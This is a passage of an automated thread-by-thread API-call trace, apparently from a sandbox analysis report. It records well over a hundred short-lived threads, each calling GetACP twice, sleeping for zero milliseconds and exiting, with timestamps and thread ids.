GetACP () returned 0x4e4 [0118.814] GetACP () returned 0x4e4 [0118.814] Sleep (dwMilliseconds=0x0) [0118.878] RtlExitUserThread (Status=0x0) Thread: id = 694 os_tid = 0x1968 [0118.814] GetACP () returned 0x4e4 [0118.814] GetACP () returned 0x4e4 [0118.814] Sleep (dwMilliseconds=0x0) [0118.879] RtlExitUserThread (Status=0x0) Thread: id = 695 os_tid = 0x196c [0118.814] GetACP () returned 0x4e4 [0118.814] GetACP () returned 0x4e4 [0118.814] Sleep (dwMilliseconds=0x0) [0118.880] RtlExitUserThread (Status=0x0) Thread: id = 696 os_tid = 0x1970 [0118.815] GetACP () returned 0x4e4 [0118.815] GetACP () returned 0x4e4 [0118.815] Sleep (dwMilliseconds=0x0) [0118.880] RtlExitUserThread (Status=0x0) Thread: id = 697 os_tid = 0x1974 [0118.815] GetACP () returned 0x4e4 [0118.815] GetACP () returned 0x4e4 [0118.815] Sleep (dwMilliseconds=0x0) [0118.882] RtlExitUserThread (Status=0x0) Thread: id = 698 os_tid = 0x1978 [0118.816] GetACP () returned 0x4e4 [0118.816] GetACP () returned 0x4e4 [0118.816] Sleep (dwMilliseconds=0x0) [0118.883] RtlExitUserThread (Status=0x0) Thread: id = 699 os_tid = 0x197c [0118.816] GetACP () returned 0x4e4 [0118.816] GetACP () returned 0x4e4 [0118.816] Sleep (dwMilliseconds=0x0) [0118.884] RtlExitUserThread (Status=0x0) Thread: id = 700 os_tid = 0x1980 [0118.816] GetACP () returned 0x4e4 [0118.816] GetACP () returned 0x4e4 [0118.816] Sleep (dwMilliseconds=0x0) [0118.884] RtlExitUserThread (Status=0x0) Thread: id = 701 os_tid = 0x1984 [0118.817] GetACP () returned 0x4e4 [0118.817] GetACP () returned 0x4e4 [0118.817] Sleep (dwMilliseconds=0x0) [0118.885] RtlExitUserThread (Status=0x0) Thread: id = 702 os_tid = 0x1988 [0118.817] GetACP () returned 0x4e4 [0118.817] GetACP () returned 0x4e4 [0118.817] Sleep (dwMilliseconds=0x0) [0118.886] RtlExitUserThread (Status=0x0) Thread: id = 703 os_tid = 0x198c [0118.887] GetACP () returned 0x4e4 [0118.887] GetACP () returned 0x4e4 [0118.887] Sleep (dwMilliseconds=0x0) [0118.949] RtlExitUserThread (Status=0x0) Thread: id = 704 os_tid = 0x1990 [0118.887] GetACP () returned 0x4e4 [0118.887] GetACP () returned 0x4e4 [0118.887] Sleep (dwMilliseconds=0x0) [0118.950] RtlExitUserThread (Status=0x0) Thread: id = 705 os_tid = 0x1994 [0118.888] GetACP () returned 0x4e4 [0118.888] GetACP () returned 0x4e4 [0118.888] Sleep (dwMilliseconds=0x0) [0118.951] RtlExitUserThread (Status=0x0) Thread: id = 706 os_tid = 0x1998 [0118.888] GetACP () returned 0x4e4 [0118.888] GetACP () returned 0x4e4 [0118.888] Sleep (dwMilliseconds=0x0) [0118.951] RtlExitUserThread (Status=0x0) Thread: id = 707 os_tid = 0x199c [0118.889] GetACP () returned 0x4e4 [0118.889] GetACP () returned 0x4e4 [0118.889] Sleep (dwMilliseconds=0x0) [0118.952] RtlExitUserThread (Status=0x0) Thread: id = 708 os_tid = 0x19a0 [0118.889] GetACP () returned 0x4e4 [0118.889] GetACP () returned 0x4e4 [0118.889] Sleep (dwMilliseconds=0x0) [0118.953] RtlExitUserThread (Status=0x0) Thread: id = 709 os_tid = 0x19a4 [0118.890] GetACP () returned 0x4e4 [0118.890] GetACP () returned 0x4e4 [0118.890] Sleep (dwMilliseconds=0x0) [0118.953] RtlExitUserThread (Status=0x0) Thread: id = 710 os_tid = 0x19a8 [0118.891] GetACP () returned 0x4e4 [0118.891] GetACP () returned 0x4e4 [0118.891] Sleep (dwMilliseconds=0x0) [0118.954] RtlExitUserThread (Status=0x0) Thread: id = 711 os_tid = 0x19ac [0118.891] GetACP () returned 0x4e4 [0118.891] GetACP () returned 0x4e4 [0118.891] Sleep (dwMilliseconds=0x0) [0118.954] RtlExitUserThread (Status=0x0) Thread: id = 712 os_tid = 0x19b0 [0118.892] GetACP () returned 0x4e4 [0118.892] GetACP () returned 0x4e4 [0118.892] Sleep (dwMilliseconds=0x0) [0118.955] RtlExitUserThread (Status=0x0) Thread: id = 713 os_tid = 0x19b4 [0118.892] GetACP () returned 0x4e4 [0118.892] GetACP () returned 0x4e4 [0118.892] Sleep (dwMilliseconds=0x0) [0118.956] RtlExitUserThread (Status=0x0) Thread: id = 714 os_tid = 0x19b8 [0118.893] GetACP () returned 0x4e4 [0118.893] GetACP () returned 0x4e4 [0118.893] Sleep (dwMilliseconds=0x0) [0118.956] RtlExitUserThread (Status=0x0) Thread: id = 715 os_tid = 0x19bc [0118.893] GetACP () returned 0x4e4 [0118.893] GetACP () returned 0x4e4 [0118.893] Sleep (dwMilliseconds=0x0) [0118.957] RtlExitUserThread (Status=0x0) Thread: id = 716 os_tid = 0x19c0 [0118.894] GetACP () returned 0x4e4 [0118.894] GetACP () returned 0x4e4 [0118.894] Sleep (dwMilliseconds=0x0) [0118.958] RtlExitUserThread (Status=0x0) Thread: id = 717 os_tid = 0x19c4 [0118.894] GetACP () returned 0x4e4 [0118.894] GetACP () returned 0x4e4 [0118.894] Sleep (dwMilliseconds=0x0) [0118.958] RtlExitUserThread (Status=0x0) Thread: id = 718 os_tid = 0x19c8 [0118.895] GetACP () returned 0x4e4 [0118.895] GetACP () returned 0x4e4 [0118.895] Sleep (dwMilliseconds=0x0) [0118.959] RtlExitUserThread (Status=0x0) Thread: id = 719 os_tid = 0x19cc [0118.895] GetACP () returned 0x4e4 [0118.895] GetACP () returned 0x4e4 [0118.895] Sleep (dwMilliseconds=0x0) [0118.960] RtlExitUserThread (Status=0x0) Thread: id = 720 os_tid = 0x19d0 [0118.896] GetACP () returned 0x4e4 [0118.896] GetACP () returned 0x4e4 [0118.896] Sleep (dwMilliseconds=0x0) [0118.960] RtlExitUserThread (Status=0x0) Thread: id = 721 os_tid = 0x19d4 [0118.896] GetACP () returned 0x4e4 [0118.897] GetACP () returned 0x4e4 [0118.897] Sleep (dwMilliseconds=0x0) [0118.969] RtlExitUserThread (Status=0x0) Thread: id = 722 os_tid = 0x19d8 [0118.897] GetACP () returned 0x4e4 [0118.897] GetACP () returned 0x4e4 [0118.897] Sleep (dwMilliseconds=0x0) [0118.970] RtlExitUserThread (Status=0x0) Thread: id = 723 os_tid = 0x19dc [0118.971] GetACP () returned 0x4e4 [0118.971] GetACP () returned 0x4e4 [0118.971] Sleep (dwMilliseconds=0x0) [0119.079] RtlExitUserThread (Status=0x0) Thread: id = 724 os_tid = 0x19e0 [0118.971] GetACP () returned 0x4e4 [0118.971] GetACP () returned 0x4e4 [0118.971] Sleep (dwMilliseconds=0x0) [0119.080] RtlExitUserThread (Status=0x0) Thread: id = 725 os_tid = 0x19e4 [0118.972] GetACP () returned 0x4e4 [0118.972] GetACP () returned 0x4e4 [0118.972] Sleep (dwMilliseconds=0x0) [0119.081] RtlExitUserThread (Status=0x0) Thread: id = 726 os_tid = 0x19e8 [0118.972] GetACP () returned 0x4e4 [0118.972] GetACP () returned 0x4e4 [0118.972] Sleep (dwMilliseconds=0x0) [0119.081] RtlExitUserThread (Status=0x0) Thread: id = 727 os_tid = 0x19ec [0118.973] GetACP () returned 0x4e4 [0118.973] GetACP () returned 0x4e4 [0118.973] Sleep (dwMilliseconds=0x0) [0119.082] RtlExitUserThread (Status=0x0) Thread: id = 728 os_tid = 0x19f0 [0118.973] GetACP () returned 0x4e4 [0118.973] GetACP () returned 0x4e4 [0118.973] Sleep (dwMilliseconds=0x0) [0119.083] RtlExitUserThread (Status=0x0) Thread: id = 729 os_tid = 0x19f4 [0118.974] GetACP () returned 0x4e4 [0118.974] GetACP () returned 0x4e4 [0118.974] Sleep (dwMilliseconds=0x0) [0119.083] RtlExitUserThread (Status=0x0) Thread: id = 730 os_tid = 0x19f8 [0118.974] GetACP () returned 0x4e4 [0118.974] GetACP () returned 0x4e4 [0118.974] Sleep (dwMilliseconds=0x0) [0119.084] RtlExitUserThread (Status=0x0) Thread: id = 731 os_tid = 0x19fc [0118.975] GetACP () returned 0x4e4 [0118.975] GetACP () returned 0x4e4 [0118.975] Sleep (dwMilliseconds=0x0) [0119.085] RtlExitUserThread (Status=0x0) Thread: id = 732 os_tid = 0x1a00 [0118.976] GetACP () returned 0x4e4 [0118.976] GetACP () returned 0x4e4 [0118.976] Sleep (dwMilliseconds=0x0) [0119.085] RtlExitUserThread (Status=0x0) Thread: id = 733 os_tid = 0x1a04 [0118.976] GetACP () returned 0x4e4 [0118.976] GetACP () returned 0x4e4 [0118.976] Sleep (dwMilliseconds=0x0) [0119.086] RtlExitUserThread (Status=0x0) Thread: id = 734 os_tid = 0x1a08 [0118.977] GetACP () returned 0x4e4 [0118.977] GetACP () returned 0x4e4 [0118.977] Sleep (dwMilliseconds=0x0) [0119.087] RtlExitUserThread (Status=0x0) Thread: id = 735 os_tid = 0x1a0c [0118.977] GetACP () returned 0x4e4 [0118.977] GetACP () returned 0x4e4 [0118.978] Sleep (dwMilliseconds=0x0) [0119.087] RtlExitUserThread (Status=0x0) Thread: id = 736 os_tid = 0x1a10 [0118.978] GetACP () returned 0x4e4 [0118.978] GetACP () returned 0x4e4 [0118.978] Sleep (dwMilliseconds=0x0) [0119.088] RtlExitUserThread (Status=0x0) Thread: id = 737 os_tid = 0x1a14 [0118.979] GetACP () returned 0x4e4 [0118.979] GetACP () returned 0x4e4 [0118.979] Sleep (dwMilliseconds=0x0) [0119.088] RtlExitUserThread (Status=0x0) Thread: id = 738 os_tid = 0x1a18 [0118.979] GetACP () returned 0x4e4 [0118.979] GetACP () returned 0x4e4 [0118.979] Sleep (dwMilliseconds=0x0) [0119.089] RtlExitUserThread (Status=0x0) Thread: id = 739 os_tid = 0x1a1c [0118.980] GetACP () returned 0x4e4 [0118.980] GetACP () returned 0x4e4 [0118.980] Sleep (dwMilliseconds=0x0) [0119.090] RtlExitUserThread (Status=0x0) Thread: id = 740 os_tid = 0x1a20 [0118.980] GetACP () returned 0x4e4 [0118.980] GetACP () returned 0x4e4 [0118.980] Sleep (dwMilliseconds=0x0) [0119.090] RtlExitUserThread (Status=0x0) Thread: id = 741 os_tid = 0x1a24 [0118.981] GetACP () returned 0x4e4 [0118.981] GetACP () returned 0x4e4 [0118.981] Sleep (dwMilliseconds=0x0) [0119.091] RtlExitUserThread (Status=0x0) Thread: id = 742 os_tid = 0x1a28 [0118.981] GetACP () returned 0x4e4 [0118.981] GetACP () returned 0x4e4 [0118.981] Sleep (dwMilliseconds=0x0) [0119.092] RtlExitUserThread (Status=0x0) Thread: id = 743 os_tid = 0x1a2c [0119.093] GetACP () returned 0x4e4 [0119.093] GetACP () returned 0x4e4 [0119.093] Sleep (dwMilliseconds=0x0) [0119.157] RtlExitUserThread (Status=0x0) Thread: id = 744 os_tid = 0x1a30 [0119.093] GetACP () returned 0x4e4 [0119.093] GetACP () returned 0x4e4 [0119.093] Sleep (dwMilliseconds=0x0) [0119.158] RtlExitUserThread (Status=0x0) Thread: id = 745 os_tid = 0x1a34 [0119.094] GetACP () returned 0x4e4 [0119.094] GetACP () returned 0x4e4 [0119.094] Sleep (dwMilliseconds=0x0) [0119.159] RtlExitUserThread (Status=0x0) Thread: id = 746 os_tid = 0x1a38 [0119.094] GetACP () returned 0x4e4 [0119.094] GetACP () returned 0x4e4 [0119.094] Sleep (dwMilliseconds=0x0) [0119.160] RtlExitUserThread (Status=0x0) Thread: id = 747 os_tid = 0x1a3c [0119.095] GetACP () returned 0x4e4 [0119.095] GetACP () returned 0x4e4 [0119.095] Sleep (dwMilliseconds=0x0) [0119.160] RtlExitUserThread (Status=0x0) Thread: id = 748 os_tid = 0x1a40 [0119.095] GetACP () returned 0x4e4 [0119.095] GetACP () returned 0x4e4 [0119.096] Sleep (dwMilliseconds=0x0) [0119.161] RtlExitUserThread (Status=0x0) Thread: id = 749 os_tid = 0x1a44 [0119.096] GetACP () returned 0x4e4 [0119.096] GetACP () returned 0x4e4 [0119.096] Sleep (dwMilliseconds=0x0) [0119.162] RtlExitUserThread (Status=0x0) Thread: id = 750 os_tid = 0x1a48 [0119.097] GetACP () returned 0x4e4 [0119.097] GetACP () returned 0x4e4 [0119.097] Sleep (dwMilliseconds=0x0) [0119.162] RtlExitUserThread (Status=0x0) Thread: id = 751 os_tid = 0x1a4c [0119.097] GetACP () returned 0x4e4 [0119.097] GetACP () returned 0x4e4 [0119.097] Sleep (dwMilliseconds=0x0) [0119.163] RtlExitUserThread (Status=0x0) Thread: id = 752 os_tid = 0x1a50 [0119.098] GetACP () returned 0x4e4 [0119.098] GetACP () returned 0x4e4 [0119.098] Sleep (dwMilliseconds=0x0) [0119.164] RtlExitUserThread (Status=0x0) Thread: id = 753 os_tid = 0x1a54 [0119.098] GetACP () returned 0x4e4 [0119.098] GetACP () returned 0x4e4 [0119.098] Sleep (dwMilliseconds=0x0) [0119.165] RtlExitUserThread (Status=0x0) Thread: id = 754 os_tid = 0x1a58 [0119.099] GetACP () returned 0x4e4 [0119.099] GetACP () returned 0x4e4 [0119.099] Sleep (dwMilliseconds=0x0) [0119.165] RtlExitUserThread (Status=0x0) Thread: id = 755 os_tid = 0x1a5c [0119.099] GetACP () returned 0x4e4 [0119.099] GetACP () returned 0x4e4 [0119.099] Sleep (dwMilliseconds=0x0) [0119.166] RtlExitUserThread (Status=0x0) Thread: id = 756 os_tid = 0x1a60 [0119.100] GetACP () returned 0x4e4 [0119.100] GetACP () returned 0x4e4 [0119.100] Sleep (dwMilliseconds=0x0) [0119.167] RtlExitUserThread (Status=0x0) Thread: id = 757 os_tid = 0x1a64 [0119.100] GetACP () returned 0x4e4 [0119.100] GetACP () returned 0x4e4 [0119.100] Sleep (dwMilliseconds=0x0) [0119.168] RtlExitUserThread (Status=0x0) Thread: id = 758 os_tid = 0x1a68 [0119.102] GetACP () returned 0x4e4 [0119.102] GetACP () returned 0x4e4 [0119.102] Sleep (dwMilliseconds=0x0) [0119.168] RtlExitUserThread (Status=0x0) Thread: id = 759 os_tid = 0x1a6c [0119.102] GetACP () returned 0x4e4 [0119.102] GetACP () returned 0x4e4 [0119.102] Sleep (dwMilliseconds=0x0) [0119.169] RtlExitUserThread (Status=0x0) Thread: id = 760 os_tid = 0x1a70 [0119.103] GetACP () returned 0x4e4 [0119.103] GetACP () returned 0x4e4 [0119.103] Sleep (dwMilliseconds=0x0) [0119.170] RtlExitUserThread (Status=0x0) Thread: id = 761 os_tid = 0x1a74 [0119.103] GetACP () returned 0x4e4 [0119.103] GetACP () returned 0x4e4 [0119.103] Sleep (dwMilliseconds=0x0) [0119.170] RtlExitUserThread (Status=0x0) Thread: id = 762 os_tid = 0x1a78 [0119.104] GetACP () returned 0x4e4 [0119.104] GetACP () returned 0x4e4 [0119.104] Sleep (dwMilliseconds=0x0) [0119.171] RtlExitUserThread (Status=0x0) Thread: id = 763 os_tid = 0x1a7c [0119.173] GetACP () returned 0x4e4 [0119.173] GetACP () returned 0x4e4 [0119.173] Sleep (dwMilliseconds=0x0) [0119.235] RtlExitUserThread (Status=0x0) Thread: id = 764 os_tid = 0x1a80 [0119.173] GetACP () returned 0x4e4 [0119.173] GetACP () returned 0x4e4 [0119.173] Sleep (dwMilliseconds=0x0) [0119.236] RtlExitUserThread (Status=0x0) Thread: id = 765 os_tid = 0x1a84 [0119.174] GetACP () returned 0x4e4 [0119.174] GetACP () returned 0x4e4 [0119.174] Sleep (dwMilliseconds=0x0) [0119.236] RtlExitUserThread (Status=0x0) Thread: id = 766 os_tid = 0x1a88 [0119.174] GetACP () returned 0x4e4 [0119.174] GetACP () returned 0x4e4 [0119.174] Sleep (dwMilliseconds=0x0) [0119.237] RtlExitUserThread (Status=0x0) Thread: id = 767 os_tid = 0x1a8c [0119.175] GetACP () returned 0x4e4 [0119.175] GetACP () returned 0x4e4 [0119.175] Sleep (dwMilliseconds=0x0) [0119.238] RtlExitUserThread (Status=0x0) Thread: id = 768 os_tid = 0x1a90 [0119.175] GetACP () returned 0x4e4 [0119.175] GetACP () returned 0x4e4 [0119.175] Sleep (dwMilliseconds=0x0) [0119.239] RtlExitUserThread (Status=0x0) Thread: id = 769 os_tid = 0x1a94 [0119.176] GetACP () returned 0x4e4 [0119.176] GetACP () returned 0x4e4 [0119.176] Sleep (dwMilliseconds=0x0) [0119.240] RtlExitUserThread (Status=0x0) Thread: id = 770 os_tid = 0x1a98 [0119.177] GetACP () returned 0x4e4 [0119.177] GetACP () returned 0x4e4 [0119.177] Sleep (dwMilliseconds=0x0) [0119.241] RtlExitUserThread (Status=0x0) Thread: id = 771 os_tid = 0x1a9c [0119.177] GetACP () returned 0x4e4 [0119.177] GetACP () returned 0x4e4 [0119.177] Sleep (dwMilliseconds=0x0) [0119.241] RtlExitUserThread (Status=0x0) Thread: id = 772 os_tid = 0x1aa0 [0119.178] GetACP () returned 0x4e4 [0119.178] GetACP () returned 0x4e4 [0119.178] Sleep (dwMilliseconds=0x0) [0119.242] RtlExitUserThread (Status=0x0) Thread: id = 773 os_tid = 0x1aa4 [0119.179] GetACP () returned 0x4e4 [0119.179] GetACP () returned 0x4e4 [0119.179] Sleep (dwMilliseconds=0x0) [0119.243] RtlExitUserThread (Status=0x0) Thread: id = 774 os_tid = 0x1aa8 [0119.180] GetACP () returned 0x4e4 [0119.180] GetACP () returned 0x4e4 [0119.180] Sleep (dwMilliseconds=0x0) [0119.244] RtlExitUserThread (Status=0x0) Thread: id = 775 os_tid = 0x1aac [0119.180] GetACP () returned 0x4e4 [0119.180] GetACP () returned 0x4e4 [0119.180] Sleep (dwMilliseconds=0x0) [0119.244] RtlExitUserThread (Status=0x0) Thread: id = 776 os_tid = 0x1ab0 [0119.181] GetACP () returned 0x4e4 [0119.181] GetACP () returned 0x4e4 [0119.181] Sleep (dwMilliseconds=0x0) [0119.245] RtlExitUserThread (Status=0x0) Thread: id = 777 os_tid = 0x1ab4 [0119.182] GetACP () returned 0x4e4 [0119.182] GetACP () returned 0x4e4 [0119.182] Sleep (dwMilliseconds=0x0) [0119.246] RtlExitUserThread (Status=0x0) Thread: id = 778 os_tid = 0x1ab8 [0119.182] GetACP () returned 0x4e4 [0119.182] GetACP () returned 0x4e4 [0119.182] Sleep (dwMilliseconds=0x0) [0119.247] RtlExitUserThread (Status=0x0) Thread: id = 779 os_tid = 0x1abc [0119.183] GetACP () returned 0x4e4 [0119.183] GetACP () returned 0x4e4 [0119.183] Sleep (dwMilliseconds=0x0) [0119.247] RtlExitUserThread (Status=0x0) Thread: id = 780 os_tid = 0x1ac0 [0119.183] GetACP () returned 0x4e4 [0119.183] GetACP () returned 0x4e4 [0119.183] Sleep (dwMilliseconds=0x0) [0119.248] RtlExitUserThread (Status=0x0) Thread: id = 781 os_tid = 0x1ac4 [0119.184] GetACP () returned 0x4e4 [0119.184] GetACP () returned 0x4e4 [0119.184] Sleep (dwMilliseconds=0x0) [0119.249] RtlExitUserThread (Status=0x0) Thread: id = 782 os_tid = 0x1ac8 [0119.185] GetACP () returned 0x4e4 [0119.185] GetACP () returned 0x4e4 [0119.185] Sleep (dwMilliseconds=0x0) [0119.249] RtlExitUserThread (Status=0x0) Thread: id = 783 os_tid = 0x1acc [0119.251] GetACP () returned 0x4e4 [0119.251] GetACP () returned 0x4e4 [0119.251] Sleep (dwMilliseconds=0x0) [0119.363] RtlExitUserThread (Status=0x0) Thread: id = 784 os_tid = 0x1ad0 [0119.251] GetACP () returned 0x4e4 [0119.251] GetACP () returned 0x4e4 [0119.251] Sleep (dwMilliseconds=0x0) [0119.363] RtlExitUserThread (Status=0x0) Thread: id = 785 os_tid = 0x1ad4 [0119.252] GetACP () returned 0x4e4 [0119.252] GetACP () returned 0x4e4 [0119.252] Sleep (dwMilliseconds=0x0) [0119.364] RtlExitUserThread (Status=0x0) Thread: id = 786 os_tid = 0x1ad8 [0119.253] GetACP () returned 0x4e4 [0119.253] GetACP () returned 0x4e4 [0119.253] Sleep (dwMilliseconds=0x0) [0119.364] RtlExitUserThread (Status=0x0) Thread: id = 787 os_tid = 0x1adc [0119.253] GetACP () returned 0x4e4 [0119.253] GetACP () returned 0x4e4 [0119.253] Sleep (dwMilliseconds=0x0) [0119.365] RtlExitUserThread (Status=0x0) Thread: id = 788 os_tid = 0x1ae0 [0119.254] GetACP () returned 0x4e4 [0119.254] GetACP () returned 0x4e4 [0119.254] Sleep (dwMilliseconds=0x0) [0119.365] RtlExitUserThread (Status=0x0) Thread: id = 789 os_tid = 0x1ae4 [0119.254] GetACP () returned 0x4e4 [0119.254] GetACP () returned 0x4e4 [0119.254] Sleep (dwMilliseconds=0x0) [0119.366] RtlExitUserThread (Status=0x0) Thread: id = 790 os_tid = 0x1ae8 [0119.255] GetACP () returned 0x4e4 [0119.255] GetACP () returned 0x4e4 [0119.255] Sleep (dwMilliseconds=0x0) [0119.366] RtlExitUserThread (Status=0x0) Thread: id = 791 os_tid = 0x1aec [0119.255] GetACP () returned 0x4e4 [0119.255] GetACP () returned 0x4e4 [0119.256] Sleep (dwMilliseconds=0x0) [0119.367] RtlExitUserThread (Status=0x0) Thread: id = 792 os_tid = 0x1af0 [0119.256] GetACP () returned 0x4e4 [0119.256] GetACP () returned 0x4e4 [0119.256] Sleep (dwMilliseconds=0x0) [0119.367] RtlExitUserThread (Status=0x0) Thread: id = 793 os_tid = 0x1af4 [0119.257] GetACP () returned 0x4e4 [0119.257] GetACP () returned 0x4e4 [0119.257] Sleep (dwMilliseconds=0x0) [0119.368] RtlExitUserThread (Status=0x0) Thread: id = 794 os_tid = 0x1af8 [0119.264] GetACP () returned 0x4e4 [0119.264] GetACP () returned 0x4e4 [0119.264] Sleep (dwMilliseconds=0x0) [0119.368] RtlExitUserThread (Status=0x0) Thread: id = 795 os_tid = 0x1afc [0119.265] GetACP () returned 0x4e4 [0119.265] GetACP () returned 0x4e4 [0119.265] Sleep (dwMilliseconds=0x0) [0119.369] RtlExitUserThread (Status=0x0) Thread: id = 796 os_tid = 0x1b00 [0119.265] GetACP () returned 0x4e4 [0119.265] GetACP () returned 0x4e4 [0119.265] Sleep (dwMilliseconds=0x0) [0119.370] RtlExitUserThread (Status=0x0) Thread: id = 797 os_tid = 0x1b04 [0119.266] GetACP () returned 0x4e4 [0119.266] GetACP () returned 0x4e4 [0119.266] Sleep (dwMilliseconds=0x0) [0119.370] RtlExitUserThread (Status=0x0) Thread: id = 798 os_tid = 0x1b08 [0119.266] GetACP () returned 0x4e4 [0119.266] GetACP () returned 0x4e4 [0119.266] Sleep (dwMilliseconds=0x0) [0119.371] RtlExitUserThread (Status=0x0) Thread: id = 799 os_tid = 0x1b0c [0119.266] GetACP () returned 0x4e4 [0119.267] GetACP () returned 0x4e4 [0119.267] Sleep (dwMilliseconds=0x0) [0119.371] RtlExitUserThread (Status=0x0) Thread: id = 800 os_tid = 0x1b10 [0119.267] GetACP () returned 0x4e4 [0119.267] GetACP () returned 0x4e4 [0119.267] Sleep (dwMilliseconds=0x0) [0119.372] RtlExitUserThread (Status=0x0) Thread: id = 801 os_tid = 0x1b14 [0119.267] GetACP () returned 0x4e4 [0119.267] GetACP () returned 0x4e4 [0119.267] Sleep (dwMilliseconds=0x0) [0119.372] RtlExitUserThread (Status=0x0) Thread: id = 802 os_tid = 0x1b18 [0119.268] GetACP () returned 0x4e4 [0119.268] GetACP () returned 0x4e4 [0119.268] Sleep (dwMilliseconds=0x0) [0119.373] RtlExitUserThread (Status=0x0) Thread: id = 803 os_tid = 0x1b1c [0119.374] GetACP () returned 0x4e4 [0119.374] GetACP () returned 0x4e4 [0119.374] Sleep (dwMilliseconds=0x0) [0119.480] RtlExitUserThread (Status=0x0) Thread: id = 804 os_tid = 0x1b20 [0119.374] GetACP () returned 0x4e4 [0119.374] GetACP () returned 0x4e4 [0119.374] Sleep (dwMilliseconds=0x0) [0119.480] RtlExitUserThread (Status=0x0) Thread: id = 805 os_tid = 0x1b24 [0119.375] GetACP () returned 0x4e4 [0119.375] GetACP () returned 0x4e4 [0119.375] Sleep (dwMilliseconds=0x0) [0119.481] RtlExitUserThread (Status=0x0) Thread: id = 806 os_tid = 0x1b28 [0119.375] GetACP () returned 0x4e4 [0119.375] GetACP () returned 0x4e4 [0119.375] Sleep (dwMilliseconds=0x0) [0119.486] RtlExitUserThread (Status=0x0) Thread: id = 807 os_tid = 0x1b2c [0119.375] GetACP () returned 0x4e4 [0119.375] GetACP () returned 0x4e4 [0119.375] Sleep (dwMilliseconds=0x0) [0119.487] RtlExitUserThread (Status=0x0) Thread: id = 808 os_tid = 0x1b30 [0119.376] GetACP () returned 0x4e4 [0119.376] GetACP () returned 0x4e4 [0119.376] Sleep (dwMilliseconds=0x0) [0119.488] RtlExitUserThread (Status=0x0) Thread: id = 809 os_tid = 0x1b34 [0119.376] GetACP () returned 0x4e4 [0119.376] GetACP () returned 0x4e4 [0119.376] Sleep (dwMilliseconds=0x0) [0119.489] RtlExitUserThread (Status=0x0) Thread: id = 810 os_tid = 0x1b38 [0119.377] GetACP () returned 0x4e4 [0119.377] GetACP () returned 0x4e4 [0119.377] Sleep (dwMilliseconds=0x0) [0119.489] RtlExitUserThread (Status=0x0) Thread: id = 811 os_tid = 0x1b3c [0119.377] GetACP () returned 0x4e4 [0119.377] GetACP () returned 0x4e4 [0119.377] Sleep (dwMilliseconds=0x0) [0119.490] RtlExitUserThread (Status=0x0) Thread: id = 812 os_tid = 0x1b40 [0119.378] GetACP () returned 0x4e4 [0119.378] GetACP () returned 0x4e4 [0119.378] Sleep (dwMilliseconds=0x0) [0119.491] RtlExitUserThread (Status=0x0) Thread: id = 813 os_tid = 0x1b44 [0119.378] GetACP () returned 0x4e4 [0119.378] GetACP () returned 0x4e4 [0119.378] Sleep (dwMilliseconds=0x0) [0119.491] RtlExitUserThread (Status=0x0) Thread: id = 814 os_tid = 0x1b48 [0119.378] GetACP () returned 0x4e4 [0119.378] GetACP () returned 0x4e4 [0119.378] Sleep (dwMilliseconds=0x0) [0119.492] RtlExitUserThread (Status=0x0) Thread: id = 815 os_tid = 0x1b4c [0119.379] GetACP () returned 0x4e4 [0119.379] GetACP () returned 0x4e4 [0119.379] Sleep (dwMilliseconds=0x0) [0119.493] RtlExitUserThread (Status=0x0) Thread: id = 816 os_tid = 0x1b50 [0119.380] GetACP () returned 0x4e4 [0119.380] GetACP () returned 0x4e4 [0119.380] Sleep (dwMilliseconds=0x0) [0119.493] RtlExitUserThread (Status=0x0) Thread: id = 817 os_tid = 0x1b54 [0119.380] GetACP () returned 0x4e4 [0119.380] GetACP () returned 0x4e4 [0119.380] Sleep (dwMilliseconds=0x0) [0119.494] RtlExitUserThread (Status=0x0) Thread: id = 818 os_tid = 0x1b58 [0119.381] GetACP () returned 0x4e4 [0119.381] GetACP () returned 0x4e4 [0119.381] Sleep (dwMilliseconds=0x0) [0119.495] RtlExitUserThread (Status=0x0) Thread: id = 819 os_tid = 0x1b5c [0119.381] GetACP () returned 0x4e4 [0119.381] GetACP () returned 0x4e4 [0119.381] Sleep (dwMilliseconds=0x0) [0119.495] RtlExitUserThread (Status=0x0) Thread: id = 820 os_tid = 0x1b60 [0119.382] GetACP () returned 0x4e4 [0119.382] GetACP () returned 0x4e4 [0119.382] Sleep (dwMilliseconds=0x0) [0119.496] RtlExitUserThread (Status=0x0) Thread: id = 821 os_tid = 0x1b64 [0119.382] GetACP () returned 0x4e4 [0119.382] GetACP () returned 0x4e4 [0119.383] Sleep (dwMilliseconds=0x0) [0119.496] RtlExitUserThread (Status=0x0) Thread: id = 822 os_tid = 0x1b68 [0119.384] GetACP () returned 0x4e4 [0119.384] GetACP () returned 0x4e4 [0119.384] Sleep (dwMilliseconds=0x0) [0119.497] RtlExitUserThread (Status=0x0) Thread: id = 823 os_tid = 0x1b74 [0119.498] GetACP () returned 0x4e4 [0119.498] GetACP () returned 0x4e4 [0119.498] Sleep (dwMilliseconds=0x0) [0120.157] RtlExitUserThread (Status=0x0) Thread: id = 824 os_tid = 0x1b78 [0119.498] GetACP () returned 0x4e4 [0119.498] GetACP () returned 0x4e4 [0119.498] Sleep (dwMilliseconds=0x0) [0120.158] RtlExitUserThread (Status=0x0) Thread: id = 825 os_tid = 0x1b7c [0119.499] GetACP () returned 0x4e4 [0119.499] GetACP () returned 0x4e4 [0119.499] Sleep (dwMilliseconds=0x0) [0120.159] RtlExitUserThread (Status=0x0) Thread: id = 826 os_tid = 0x1b80 [0119.499] GetACP () returned 0x4e4 [0119.499] GetACP () returned 0x4e4 [0119.499] Sleep (dwMilliseconds=0x0) [0120.159] RtlExitUserThread (Status=0x0) Thread: id = 827 os_tid = 0x1b84 [0119.500] GetACP () returned 0x4e4 [0119.500] GetACP () returned 0x4e4 [0119.500] Sleep (dwMilliseconds=0x0) [0120.160] RtlExitUserThread (Status=0x0) Thread: id = 828 os_tid = 0x1b88 [0119.500] GetACP () returned 0x4e4 [0119.500] GetACP () returned 0x4e4 [0119.500] Sleep (dwMilliseconds=0x0) [0120.161] RtlExitUserThread (Status=0x0) Thread: id = 829 os_tid = 0x1b8c [0119.501] GetACP () returned 0x4e4 [0119.501] GetACP () returned 0x4e4 [0119.501] Sleep (dwMilliseconds=0x0) [0120.162] RtlExitUserThread (Status=0x0) Thread: id = 830 os_tid = 0x1b90 [0119.501] GetACP () returned 0x4e4 [0119.501] GetACP () returned 0x4e4 [0119.501] Sleep (dwMilliseconds=0x0) [0120.162] RtlExitUserThread (Status=0x0) Thread: id = 831 os_tid = 0x1b94 [0119.501] GetACP () returned 0x4e4 [0119.502] GetACP () returned 0x4e4 [0119.502] Sleep (dwMilliseconds=0x0) [0120.164] RtlExitUserThread (Status=0x0) Thread: id = 832 os_tid = 0x1b98 [0119.502] 